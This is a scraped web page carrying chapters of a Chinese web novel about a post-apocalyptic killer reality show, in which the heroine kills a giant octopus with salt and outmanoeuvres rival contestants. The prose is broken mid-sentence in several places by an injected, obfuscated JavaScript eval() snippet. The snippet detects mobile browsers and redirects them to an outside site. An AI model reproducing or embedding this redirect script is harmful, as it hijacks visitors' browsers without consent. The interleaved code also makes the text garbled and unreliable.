说罢，她跑到依然在跟巨型章鱼周旋的莫之臻面前，抢走了他手上剩余的照明弹，再次让自己成为了巨型章鱼的焦点。 巨型章鱼重新看到青黛后，愤怒值和兴奋值都明显升高，丝毫不带犹豫地，放弃了莫之臻，开始疯狂追着青黛跑。 那些选手见状，先是犹豫了一下，然后毅然决然地纷纷离开了。 巫马莎看着气得不行：“你们这群没良心的，她救了你们那么多次，现在她遇到麻烦，你们甚至不愿意支持她一下。” 班宁拦住了巫马莎：“别说了，浪费时间。你想走吗？” “当然不走！我要帮我姐的。”巫马莎满脸笃定。 “那我们跟上去。”班宁冲着青黛的身影那边指了指。 “好！”巫马莎高兴了起来。 青黛带着巨型章鱼跑了两条街，发现了身后的莫之臻，心里叹了口气。 “你走吧。我自己有办法对付它的。”青黛说。 “你那个办法我知道，需要人配合的。”莫之臻说。 “我都没说我的办法是什么。”青黛边跑边无语，觉得这人也太自信了吧。 “去盐厂还能是别的办法吗？”莫之臻反问道。 青黛被莫之臻说中了，尝试劝说他离开：“它现在目标是我不是你，你干什么白送啊？你是来参加杀手秀的，不是来陪我送死的。” 青黛不明白这个莫之臻何必一而再再而三这么努力“守护”自己。就算真的是对自己有好感，但见色起意带来的激情，不至于这么掏心掏肺连命都不要吧？人家《泰坦尼克号》里男女主至少睡了一觉呢。咱俩就一起杀个鱼，不至于，不至于。 莫之臻微微一笑，停了下来，拿起背上背着的小火箭筒，冲着巨型章鱼来了一发。 这小炮弹对人来说威力巨大，对巨型章鱼还真是没啥用，它仅仅被打了个踉跄，连皮都没破。但此时的章鱼早已经被青黛遛得急了眼，情绪不再稳定，终于开始火冒三丈地追赶莫之臻了。 “他现在的目标里也有我了！”莫之臻的声音中竟然带着一丝得意和兴奋。 青黛问道：“我怎么觉得你这招有点眼熟？” “跟你学的啊。”莫之臻笑道。 【他跟她学的什么？】 【有没有人解答一下？】 【我是漏了什么细节吗？】 【怪鱼那会儿啊，青黛让莫之臻先进去，莫不肯，青直接跺脚把怪鱼引了过去，莫被迫进去了。】 【我又开始相信爱情了。】 【天啊！我要哭了！】 …… 青黛边跑边叹气：“你到底图什么啊？” “你别管我图什么，反正我不会让你死。”莫之臻坚定道。 “事已至此，咱俩双s交叉跑，你带它一段，我带它一段。”青黛交代道，“这样灵活点，万一死了一个，还能留一个。” “我不会让你死的。” “哎呀你少说废话，省点气吧，累死我了。”青黛觉得跟莫之臻说话跟鬼打墙似的，比逃命还费劲。 俩人按照青黛的规划，在街上跑出了交叉曲线，让巨型章鱼没办法锁定目标。班宁则是带着巫马莎在不远处跟着他们和巨型章鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869624|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 巫马莎：“想甩了我，没门。” 班宁看着小姑娘的样子，笑了。 青黛自然也发现了那两个尾巴，她招呼她们进入了交叉跑的行列——此时的章鱼似乎有点被愤怒冲昏了头脑，看到谁都追两下，不再局限于青黛和莫之臻了。 巫马莎边跑边一脸不解问道：“为什么要找盐场啊？” 青黛问她：“你吃没吃过章鱼？” “谁会吃那种东西？”巫马莎一脸嫌弃道。 青黛这才想起来，除自己以外的选手们都是核污染后世界的人类，没人吃过海鲜。 她换了个说法道：“林北城就在海边，只要找到盐厂，我们就安全了。” 巫马莎听完依然满脸困惑，死也想不通为什么青黛忽然从“吃过章鱼”跳跃到了“找到盐场就安全了”。她转头看向班宁，班宁也明显没理解。 “你们进城前没看到灯塔吗？”青黛问。 “怎么又说到灯塔啦？”巫马莎更乱了。 “她的讲述的逻辑比较跳跃的，我来说。”莫之臻解释道：“章鱼是软体动物，它们没有骨骼和皮肤，所以皮肤遇到盐后，盐会改变章鱼表皮细胞周围的渗透压，导致细胞失水死亡。随着大量细胞受到影响，章鱼的身体机能会迅速下降，产生失水致死的状况。” 莫之臻喘了口气，接着说：“根据，1、林北城里的怪物全是海洋生物，2、海洋生物不善在陆地上长距离迁徙，3，林北城旁边有灯塔，这三点，可以初步判定，这里肯定离海很近。核爆前世界的海滨城市一般都有盐厂。所以，只要我们找到盐厂，把怪物引进去蘸点盐，它就算不死也绝对没办法追着我们跑了。” “对，就是这样。”青黛肯定道。她这个人一旦进入思考状态，就处于脑子在前面狂奔，嘴在后面狂追。 她穿越前也是如此，由于她总是解释不清自己的战术逻辑，干脆就不解释了，因此没少被领导骂，骂她独断专行，骂她故作神秘。 那时候要是有莫之臻这样的队友在身边就好了。青黛不禁感慨。 跑到城墙边，看着前方被封死的大门，莫之臻回头问青黛：“怎么办？” 青黛冲着莫之臻一笑，带着章鱼就往门上冲，在触门的一瞬间，青黛往旁边一蹿，溜掉了，巨型章鱼没刹住车，直接把关死的城门撞碎了。 他们四个带着章鱼冲着海边的方向而去，很快就到了节目组给的地址。 青黛调出头灯一照，一片广阔的废弃盐场出现在了眼前。 晒盐的池子早已干涸，基底大面积龟裂，缝隙纵横交错。采盐的工具被随意丢弃着，锈蚀得几乎看不出原样了。输送海水的管道全部锈到只剩下一点金属残渣。 看到眼前的场景，青黛的调门儿都拔高了：“怎么是盐场啊？” “你要的地址不就是盐场吗？”巫马莎不知道青黛什么意思。 “我说的是工厂的厂，不是场地的场，盐场是用来晒盐的，这城市废弃百年了，就算盐场里还有盐，也早就被吹光耗尽了。我要去的是盐加工厂，说不定仓库里还有库存。”青黛飞速解释道。 “糟糕，被狗节目组给骗了！”巫马莎顿时火冒三丈。 15. 废土逃杀15 看着巫马莎那个义愤填膺的样子，青黛笑了笑，说：“那倒不一定是他们骗我们。客观上讲，我说的时候确实没说清楚。” 屏幕前的导播听到青黛的话后，私下疯狂点头，表示赞同——他完全没有戏耍青黛的意思，一切都是误会。 “那怎么办？”班宁的声音也有点焦灼了，毕竟这个错误有点大。 莫之臻边跑边提议道：“不然找找你说的盐厂？” “怎么找？连个范围都没，这不是大海捞针吗？”巫马莎一脸丧气，“我感觉我快跑不动了。” 经过快速的思考，青黛做出了部署：“咱们分头行动，找存放粗海盐的仓库。” 青黛感觉应该是有这么个仓库的存在——海盐在晾晒完成后，肯定也是要运出去进行精细加工的，在运之前，势必要有地方存放。 “最先找到的人先鸣枪两声，后再补三枪，用来通知大家方位。”青黛交代道。 要是白天，在这一马平川的盐场上，绝对能一眼看到仓库的位置，但现在是晚上，能见范围就是一个头灯的照射范围而已，所以必须分头地毯式搜索。 “它怎么办？”巫马莎指了指依然穷追不舍的章鱼。 看着那头疯了的章鱼，青黛此时都有点想笑了：“不用管它，它想跟着就跟着谁吧。” “那跟着我吧。”果然，莫之臻又出手了，他拿出机枪对着章鱼眼睛就是一梭子，那章鱼自然被他气得暴怒，顺理成章跟着他跑了。 巫马莎和班宁同时露出意味深长的表情。 “别说废话！”青黛制止道。 巫马莎吐了吐舌头，刚准备单飞，被青黛一把薅住：“班宁，你带着她。” “不要总拿我当小孩啊！”巫马莎抗议道，但她的抗议毫无用处，班宁也不说话，把她拎起来就走。 青黛笑着摇了摇头，朝着三岔路的第三个方向而去。 谁都没问“找不到怎么办”，包括巫马莎——这个问题不用问，找不到不是被章鱼追上吃了，就是被章鱼追得活活累死，毫无悬念。 那一直尾随他们四个的无人机倒是识相，谁也不跟，就跟着青黛。但它不敢靠近，离得极远，生怕第三次被青黛利用。 十五分钟后，两声枪响从巫马莎和班宁搜寻的方向传来，青黛立刻抬头等待，紧接着，又传来三声枪声。 青黛顺着声音跑去。 十分钟后，一座巨大的仓库出现在了她的面前，红砖墙上的白色油漆写的标语虽然斑驳，但依然可见——库容利??好，货物周转快，保管质量??，安全有保障。 这内容让青黛会心一笑，有种他乡遇故人的亲切感。 只可惜，沧海桑田。 青黛冲着仓库大门跑去，大门是锁着的，大门上的小门是被人破开的，其实有没有门的意义不大——这门都被腐蚀的差不多了，酥得一碰就大片大片往下掉渣。 青黛顺着小门进入仓库内，脚下是一大片被扎破并丢弃的盐包，经过短暂的困惑，她恍然大悟—— 应该是末日核爆，所有人都来抢盐了。因为一到灾祸总有“专家”跳出来说，盐可以防辐射。然而，这海水晒成的未加工的粗盐，含有大量杂质和重金属，根本不能吃。被人抢完后就地丢弃了。 青黛又往里走了几步，调亮了头灯的亮度，照向整个盐库，看清盐的库存量后，她松了口气。 此时，巫马莎和班宁从仓库深处钻了出来。 “莫之臻带着章鱼来了吗？”巫马莎探了探头后问道。 “不会那么快的，他肯定会给我们做准备留时间。”青黛很是自信地说。 经过这一路的配合，青黛对莫之臻很有信心，坚信很多事根本不用她张嘴，他就知道应该怎么做。 “感觉你对核战争前的世界好了解啊，我们根本没听过晒盐场这个东西。”班宁感慨。 废土世界污染严重，盐早就无法再从被高度污染的海水中提取了，所以现在的盐都是从深层的土壤中提取的，工艺和流程跟晒水取盐完全不是一回事儿。 “我比较喜欢看过去的纪录片。”青黛找补道。 “我们要做什么准备？”班宁问道。 青黛掏出匕首，开始依次滑开底层的盐包，划开一个，塞一个手·雷进去：“照我这样做。” 巫马莎和班宁有样学样，开始划盐包，塞手·雷。 青黛则是借助着叉车，迅速爬上其中一列盐包的顶端，用匕首插入最高那包盐中，然后往下一跳，利用重力，从上划到下面，快速划破了这一排所有的盐包。盐顺着口子开始快速流出。 然后是第二排，第三排…… 上层的盐簌簌流淌而落，在仓库的中心区域的地面上逐渐形成了一片白花花的盐海。 准备完成后，青黛给三个人安排好了机枪位，架好枪，开始等待莫之臻带着章鱼进来。 十分钟后，地面开始颤抖了，一下一下，力道越来越重，但明显比之前慢了不少，看样子，这疯章鱼也累了。 先跑进来的是莫之臻，他扫了一眼布局，瞬间明白了青黛的意图，很是激灵地冲到了盐海的中心，转身看向大门。 “轰隆隆——” 巨大的破碎声响起，巨型章鱼几乎把那大门带墙全部撞碎了，然后冲了进来。 三个人把枪都上了膛，开始瞄准。 章鱼进来后，竟然有了个明显找寻的动作，似乎发现这里还有别人。 莫之臻赶紧向章鱼打了一枪，让它继续跟着自己，别分心。章鱼自然是上了当的，抬“脚”冲着莫之臻而去。 当巨型章鱼的断肢碰触到地板上盐粒的瞬间，剧痛袭来，但它应该是理解不了这疼痛的原理，继续冲着莫之臻的方向奔去，越来越剧烈的蛰疼让它的触手开始“站”不稳了。 就在它几乎跑到莫之臻面前时，它的断肢一软，重心不稳，滑倒了，震得地动山摇的，上层那些被划开的盐包开始纷纷坠落。 莫之臻趁机蹿到了青黛的身边。 青黛一声令下，巫马莎和班宁开始往预埋手·雷的位置射击。 爆炸声此起彼伏，盐包被炸成了烟花，把大量的盐撒向空中，随后盐如倾盆大雨般洒落，劈头盖脸全部落在了巨型章鱼的身上。 章鱼被盐刺激得开始疯狂扭曲挣扎，但它越挣扎，体表粘到的盐就越多。 为了保证它能死透，莫之臻掏出了大杀器——小火箭炮，把剩下还堆着的盐统统轰到了章鱼身上。 章鱼被盐彻底埋住了。 很快，章鱼的身体开始因为脱水而机能逐渐衰竭，它的肌肉开始失去弹性，无法正常收缩和舒张，渐渐地，它缩成一团，再也无法动弹了。 那跟三层钟楼一样大小的巨型章鱼就这么被活生生地腌咸菜一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869625|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样腌死了。 除了青黛，这场景看得剩下三个人都直皱眉——这得多疼啊，用在人身上，算是极刑了吧？ 看着死掉的巨型章鱼，屏幕前的观众都兴奋了起来。 【天呐！精彩到我头皮发麻！】 【这女人就是神！从现在起，我就是青黛的忠实信徒，青门永存！】 【加入！】 【加入+1】 【加入+2】 …… “叮叮叮——此次死亡人数4人，总死亡人数26人，剩余人数82人，清点播报完毕。” “谁死了？”青黛转头问身后的三个人。 “不知道。” “走吧，去坐车。”这突如其来的死亡播报，让青黛心神不宁起来。 “你知道车在哪？” 青黛不假思索道：“林北城的城北。” “你怎么确定车在那的？”班宁好奇道。 “记得我打下来那个无人机吗？它坠毁后，补位的无人机是从城北飞来的。” “天那么黑，你怎么看到的？”巫马莎觉得不可思议。 “不是看到的，是听到的。”青黛说。 “你那是什么听力啊？真是可怕。”巫马莎感慨道。但仔细想想，确实有好几次，青黛都是先靠听力发现异常的。 这超群的听力，严格意义上讲不是青黛的，而是她原身的，其实也不是原身的。 青黛穿来时，她的原身正在被抢救——整个人泡在危重治疗舱里，浑身上下全是伤，尤其是头骨，几乎被全部敲碎了，此时整个大脑被放在特殊的容器里，看起来绝望又脆弱。 她的听力系统全部被损毁，医生给她换了套新的，高科技义耳。 青黛十分想不通，原身都要被执行死刑了，监狱为什么浪费钱给她换零部件？而且她也不知道在监狱被关着，原身是怎么伤成那样的。她甚至不知道自己的失忆是穿越导致的，还是原身受伤导致的。 “你是不知道义体改造吗？”青黛觉得巫马莎大惊小怪的。 “你改哪了，看不出来啊？” “听力系统。” 巫马莎皱眉道：“谁会改这个啊？要改也是改成班宁那样，跑得更快，跳得更高什么的。听得更清楚有什么好处吗？” “好处？能听到无人机从哪飞来，从而带着你们找到回家的车，算吗？”青黛耸了耸肩。 “……”巫马莎愣了半秒，“好吧，算是个有用的改造。” “班宁，你为什么义体改造？” “腿被烧没了。” …… 没有巨型章鱼追赶的路程是惬意的，但速度确实慢了很多，但他们真的太累了，再也跑不动了——之前完全是透支肾上腺素撑下来的，现在没了刺激，感觉身体被掏空了。 四个人靠着仅存的体力和顽强的毅力，回到了那个之前被巨型章鱼撞烂的城门。 “奇怪了，为什么这个门门口没有劈叉的怪鱼群？”巫马莎好奇道。 “因为这个门是章鱼新开拓的，还没来得及通知它们？”青黛猜测。 就在四个人踏进城门的一瞬间，一个肥硕的身躯从黑暗中蹿了出来，一把揪住了走在最前面的巫马莎，用匕首抵住了她防护服咽喉处的软连接，同时喊道： “你们别动，一旦我把她衣服划开，她就死定了。” 16. 废土逃杀16 看着眼前把所有凶狠都写在脸上的胖子，青黛很是无奈。 “你想干什么？说吧。”她直白地问道。 “把你的车票交出来。”胖子提出了需求。 “你自己的车票呢？明明每个人都有的。”巫马莎回头好奇道。 “弄丢了。”胖子大言不惭，仿佛他的失误就该由别人来买单。 巫马莎此时恍然大悟，为什么青黛最开始会瞒着这些选手地下室有武器了——果然不能让坏人拥有过强的破坏力，他们见利忘义，毫无感恩之心，喂不熟的。 莫之臻刚要去掏自己的车票给胖子，却被青黛眼疾手快拦住了，她拉开防护服口袋的拉链，从里面捏出一张车票，在胖子面前晃了晃。 胖子看到车票，眼睛明显一亮，嘴上碎碎叨叨了起来：“不要怪我，我没了车票会死，但你不会，你有办法活下去。” “你弱你有理喽？” “随你怎么理解，反正这车票我要定了。”胖子咬着后槽牙，刀口猛往巫马莎的脖子上收了一下。 巫马莎被他的动作带得垫着脚往上窜了窜，才勉强没让刀锋划开自己的防护服。 青黛轻叹一口气，幽幽道：“有时候我真的特别厌恶低智商人群，这种人连作恶都不配，根本无法理解识时务者为俊杰这句话的含义，总会去挑战一些明显不会赢的状况，最终弄得大家都不愉快。” “你什么意思？”胖子一副cpu被烧了嘴脸，反复琢磨着青黛的话。 “我的意思是……”青黛眉毛一挑，抬手把车票一扬，胖子作势就要去接，就在他的刀口离开巫马莎脖子的瞬间，青黛面无表情地抬起了手上的枪，在根本没瞄准的姿态下，扣下了扳机。 一颗子弹瞬间从胖子眉心穿进，后脑穿出，干脆利索。 胖子肥硕的身躯仰面倒下了，震起一片尘烟。 青黛连眉毛都不皱一下，捡起那张车票，塞回了防护服的口袋里。 “叮叮叮——此次死亡人数1人，总死亡人数27人，剩余人数81人，清点播报完毕。” 击杀这个胖子对青黛来说，简直就是在舒适区撒泼打滚，没有任何心理压力——击毙挟持人质的歹徒这种事，青黛穿越前，一年至少干十票不止，已经形成惯性了。 【这傻逼是来送人头的吧？】 【肯定啊，知道这女人多彪悍，还敢来抢劫她？知道她多护着巫马莎，还敢拿巫马莎来威胁她？没见过这么一心求死的玩法。】 【我个人觉得杀手这个行业，智商比武力值更重要，傻子真的别入行，害人害己。】 【确实，宁愿交往聪明的坏人，也不要接触愚蠢的好人，因为他们根本分不清利弊。而愚蠢的坏人简直就是大杀器。】 【你们觉得，真蠢货和假圣人哪个更讨厌？】 【都讨厌。】 【+1】 【+1】 …… 弹幕又开始热火朝天地刷屏了——每当青黛弄死个人，节目的流量就会瞬间被拉高，然后讨论度冲上巅峰。 四个人赶到城北时，果然看到了节目组的生化装甲车停在那。 车厢外满地的武器——看样子不缴械不让靠近。 果然，他们没走两步，头顶的无人机传来了通知他们就地缴械的机械音。 这也不怪节目组谨慎——让一车杀手荷枪实弹地回九幽，感觉确实不合适。 四个人开始扔武器，掏一把，扔一把，掏一把，扔一把，愣是扔了五分钟，才把身上的武器全都扔到了地上——当时为了保命，他们恨不得把武器库里的所有家伙都带在身上。 一身轻松的四个人被无人机反复扫描后，才允许靠近了装甲车。 这车并不是来时能容纳108个选手的那辆，而是一辆只有五十个座位的中型车。车厢内几乎坐满了，只剩了最外面的三个位置。 车上的选手看到来者是青黛，表情都复杂了起来——有些人是明显的惊喜，觉得她竟然还活着；有些则是一脸失落，觉得她竟然还活着。 “你们三个上去。”青黛说道，“你们本就是为了帮我处理章鱼，才会这么迟赶到的。” “我觉得不是因为章鱼，而是那个死胖子耽误的。”巫马莎纠正道。 确实，有几个人就在他们前面不到半分钟上的车，如果那个耽误事的蠢胖子不捣乱，他们四个全都有座位是板上钉钉的事。 “本质上还是章鱼耽误的时间。”青黛坚持道。 “没有你，我们也不知道车在哪啊。”巫马莎意识到青黛企图把责任揽到自己身上，慌忙开始抢锅背。 “没有我，你们也会想办法知道的。”青黛不愿再言语上拉拉扯扯，直接把巫马莎和班宁一起推上了车。 “你也上来啊，还有一个位置呢！”巫马莎刻意“遗忘”了莫之臻的存在。 她虽然觉得莫之臻这人还行，但毕竟“亲疏有别”。 “对，你上去。”莫之臻附和巫马莎道，丝毫不觉得巫马莎的厚此薄彼有什么不对。 青黛淡淡地看了一眼莫之臻，三分之一秒后，她很是自然的一个手刀把他敲晕了，顺势一推，把他扔进了车厢。 【好霸道啊！我好喜欢！姐姐打我！】 【啊啊啊啊啊，我鸡皮疙瘩都起来了。】 【怎么会这么有张力？】 【你们冷静点，这是暗综，不是恋综！】 【生死边缘了，你们还嗑？你们的cp要be了好吗？】 【虽然但是，我觉得她死不了。】 …… 这个观众猜对了——就在青黛转身离开的一瞬间，巫马莎快速拉开了一个选手的防护服的头盔拉链，然后一脚把那人踹了下了车去。 那人死得很快，死前一直用无比困惑的眼神盯着巫马莎。 “好了，现在位置够了。”巫马莎笑得甚是得意。 所有人都惊呆了，包括向来处变不惊的青黛。 【巫马莎牛逼啊！】 【新脑子就是好使，这办法我怎么没想到？】 【我是支持青莫的，但现在忍不住嗑一秒邪教cp。】 【拒绝拆cp！邪教党滚出！】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869626|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【姐妹才是最吊的！】 …… “你干什么？”青黛问。 “腾个位置给你啊。”巫马莎说。 “我自有办法，你不用牺牲无辜的。”青黛略微埋怨道。 “他也并不怎么无辜。”巫马莎撇撇嘴。 巫马莎选的人并不是随机的，而是一个得知青黛被章鱼盯上后，最先抛弃她离开的选手。 车厢里的选手们经过短暂的懵逼后，有个长相猥琐的男人喊了起来：“你们这是犯规啊！” 这个猥琐男是在为死者抱不平吗？并不，他是忌惮青黛的能力，想趁机除掉这样的强有力的竞争对手，免得自己在其他环节跟这个女人对上。 算是未雨绸缪。 “对，这是犯规！她不能上来。”更多的选手跟着那男人喊了起来。 “哪条规矩规定不能杀死更早到的人的？拿出来看看？”班宁站起来开始反驳猥琐男。 “就是啊！拿出来看看。”欣赏青黛的选手们，开始顺着班宁的话帮腔起来。 青黛的支持者和反对者，人数几乎是对半的。大家吵着吵着，物理位置也渐渐分开了，一边站到车厢左侧，一边站到车厢右侧。争执越来越激烈，甚至开始了推推搡搡，有了大打出手的趋势。 那些此时刚刚抵达的选手们，站在装甲车外面，不明所以地看着车上两拨人的对峙。 导播室此时也是一片混乱。 “青黛他们算犯规吗？”现场导演怯怯地问汪泰初道，他现在很是摸不清这个总导演对青黛的态度，还是问清楚为妙。 “又不是奥运会，犯什么规？这是杀手秀，赢就是规矩。”汪泰初说。 “要这么告诉选手们吗？”现场导演说着，就打算打开通讯频道，谁知他的手被汪泰初一巴掌打飞了。 “你脑子里都是屎吗？告诉他们干什么？我要的就是天下大乱！” 他要的天下大乱确实出现了，不但现场车上车下喊打喊杀乱成一锅粥，连弹幕也是乱成一片—— 【先来后到就是规矩啊。】 【但也确实没说不能杀了先来者吧？】 【祝你们都遇到这样的对手。】 【在杀手秀里追求道德，真是搞笑。】 【杀手秀也要有规矩吧？】 …… 看着车上抵制自己的那些嘴脸，青黛微微叹了口气——确实有些心寒，但也还好，毕竟她不会对一群杀手抱有过高的道德要求。 “她之前怎么帮你们的，你们这么忘恩负义不怕遭报应吗？”巫马莎站在凳子上指着猥琐男喊道。 “规矩就是规矩！无规矩不成方圆。别说什么帮不帮的，就事论事。”猥琐男假装客中理的嘴脸，着实讨人厌。 “别吵了！”一直沉默的青黛忽然一声大吼，让所有人都安静了下来，“你告诉我，你说的规矩是什么？” “节目组之前说了，拿到车票的前50个到达座位的人，才能上车回家。”猥琐男把主持人的话大致复述了一遍。 “行，咱们就按规矩来。”青黛微微一笑。 17. 废土逃杀17 青黛从口袋里掏出来一沓卡片，在众人眼前晃了晃：“这才是真的车票。” “那我们手里的是什么？”有选手掏出了之前“钟楼飘雪”时拿到的车票，问道。 青黛笑着说：“是我送给你们的玩具。” “你撒谎！如果是假的，那我们上车时，节目组为什么没出来打假？”猥琐男肉眼可见的慌了。 “我哪知道，你得去问节目组。”青黛摊了摊手，表示自己不背这个锅。 确实是节目组故意的。 汪泰初在钟楼飞雪那一刻，就认出了青黛分发的车票是假的，但他一直不让工作人员揭穿。因为他想知道青黛葫芦里卖什么药。 猥琐男喊道：“谁知道你是不是在诈我们？” 青黛笑了笑，从手里抽出一张真票，上前一步，刷了一下车门框上的扫码器后，扫码器发出了熟悉的机械音： “叮叮叮——此次登记人数1人，总登记人数1人，剩余席位49人，清点播报完毕。” 这叠爱豆的小卡，是青黛第一次进入钟楼地下室时翻到的，开始她只是觉得有趣，没想到能在此时此刻看到自己时代的东西。正当她准备把小卡扔了，忽然一计涌上心头—— 把这些小卡作为假车票发给选手们。自己控制住全部车票，就算是拥有了绝对底牌，只要自己不死就能顺利过关。 她没兴趣掌控全部选手的生杀大权，而是觉得这些杀手都不可靠，不能不留一手。 九幽居民是不认识小卡的，更不认识上面那些仙逝很久了的小爱豆，自然没去怀疑车票真实性。 至于一叠小卡为什么会出现在地下室的弹药库里，估计是有人追星吧。 “此时此刻，只有我能决定，你们当中谁有资格上这辆车。”青黛笑着说道，“所以，我该把这些票发给谁呢？” 那些背刺青黛的选手，此刻脸都绿了。 猥琐男眼珠子一转，想要偷袭青黛，抢夺她手中的车票，被班宁一个侧踢，直接飞了出去，趴在地上半天爬不起来。 班宁的腿是机械义肢，那力度可想而知。 青黛很是优雅地把车票重新发给了支持自己的那半选手，让他们“合规”。 剩下的车票，她则是全部分给了迟到的那些吃瓜群众了。拿到真票的选手们，纷纷开始刷自己的票，进行席位登记。 巫马莎和班宁很是贴心，愣是把莫之臻掐醒了，让他亲自起来刷票，因为她们不太确定这玩意儿能不能代刷。 刚刚苏醒的莫之臻一脸茫然地看着巫马莎拿着自己的手捏着一张票，按在了扫码器上。 “叮叮叮——此次登记人数1人，总登记人数49人，剩余席位1人，清点播报完毕。” 青黛看着剩下的人说：“节目组总共放出了60张车票，我发出去49张，现在还剩11张，但位置只剩一个了，不然，你们可以打一架，赢的人来争取最后一个席位，你们看可好？” 那些被她救过的，却在关键时刻要把她扔下车的选手们，此时赤红着眼，瞪着彼此，瞬间厮杀在了一起。 那场面难看极了，这场围斗毫无美感，充斥着各种偷袭和下三滥的手段。 猥琐男也是牛逼，竟然真的赢了，他满脸是血地冲向青黛，用颤抖的手准备去接那张属于胜利者的车票时，青黛冲他一笑，掏出一个打火机，把那11张车票全都烧了。 猥琐男发出尖锐的爆鸣声，跪在了地上：“还有一个位置啊，我求求你，让我上去，我不想死。” “是吗？确实还有一个位置，如果空着还真是有点浪费了呢。”青黛笑着说。 “对啊对啊，浪费了。”猥琐男谄媚地重复着青黛的话。 “可是，没有车票了呢。你自己说的，规矩是空座加上车票，缺一不可呢。” “我嘴贱，我该死，您大人有大量，别跟我计较这个了。”猥琐男扑通一声跪下了，开始哐哐磕头。 就在此时，又有一个选手赶到了，这姑娘满脸的汗，看了看那个空位置，又看了看挤在车门外的一群人，自觉地退到了后面——大概是默认自己没希望了。 青黛冲姑娘笑了笑，喊道：“过来，最后来那个。” “我吗？”姑娘很是局促地走到了青黛面前。 青黛看着姑娘，当即变出一张车票发给她：“拿去。” “车票你不是都烧了吗？”跪在地上的猥琐男，抬起头，发出难以置信的惊呼。 “我说节目组给了60张票，你就信啊？”说罢，青黛又掏出9张车票，“其实是70张呢。” 屏幕前的汪泰初此刻拍着桌子哈哈大笑起来——他“帮助”青黛埋的这个伏笔，终于真相大白了。他对结果很满意，他无比欣赏青黛这种干什么都留一手，不信任任何人的精神。 猥琐男盯着那些车票，失心疯般向往车厢里爬，但被青黛踩着脸，一脚踹了下去：“你该不会觉得，我是那种以德报怨的圣母吧？” 车门关上，装甲车绝尘而去。 翻滚在地的猥琐男看着车尾灯绝望地嚎叫起来。 慢慢地，他安静了下来，因为那些被他挑唆起来的，对抗青黛的，被留在地表的白眼狼们，此时把他团团围住了。 接下来的情景可想而知。 “这个画面要播吗？”导播询问汪泰初道。 “当然要了，观众最喜欢看的，就是背叛者不得好死。”汪泰初说。 很快，观众们就看到了他们想看的画面，毫无暴力美学，但无比大快人心的黑吃黑。 猥琐男死得难看，但那些杀了他的人也好不到哪去——要面对接下来等待死亡的无尽恐惧。 这么一对比，猥琐男反而得了个好死。 车辆经过一段时间的换气，终于把车厢内的有毒气体净化成了安全洁净的空气。安全指示灯亮起后，选手们终于脱下了防护服，并拿起给他们准备好的蛋白棒和水开始狼吞虎咽。 与此同时，车上开始播报每个已经确定死亡的选手的死因，以及死亡画面。 播到最开始那4个走丢的，根本没找到林北城的选手的死亡回放——根本没有死亡回放——他们的摄像头先是忽然没了信号，等到再次出现信号时，人就已经都死了。 因为他们4个的摄像头直播根本没人购买，自动死亡播报时，节目组才跟选手们一起得知的。 这离奇的过程让青黛眉头一皱。 “这4个人，是咱们刚刚弄死巨型章鱼时播报死亡的那4个人吗？”青黛问莫之臻道。 “是的，怎么了？” “没什么，就觉得哪里不对。” 常年走钢丝般的工作，让青黛对危险这个东西，分外敏感，她总觉得这4个人的死没那么简单。 播完死亡人员回顾，接下来是未死亡但也活不了太久的人的清点，也就是最后那些被“遗弃”在地表的选手们。 青黛看着那些人，没有到失望，只是有种被狗咬的心境——虽然不爽，但也没觉得被咬这件事有多离谱，毕竟咬人是狗的天性，自私是人的天性。 巫马莎这个小人精，一眼就看出了青黛的心思，说道：“要我说啊，错误的根源在你自己身上，因为你一直帮助他们，才会让他们得寸进尺，有机会背刺你。” “我之前不也帮了你了，不然你刚下装甲车时就死了。”青黛对巫马莎的评价颇为不服气。 “那是因为，我一看就是好人，跟他们可不一样。”巫马莎严正强调自己不是白眼狼。 “杀手世家出来的好人？”青黛笑了，她觉得这个姑娘可爱极了——最残忍最冷酷的环境里，竟然养育出如此单纯的灵魂。 巫马莎噘着嘴说道：“出生也不是我能选的。而且我妈说过，不能用职业去判断一个人的人品。” “你妈说得对。” “我妈还说过，不要对蠢货心软，他们只会把你的善意变成巨大的麻烦。我是聪明人。” “你妈对人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 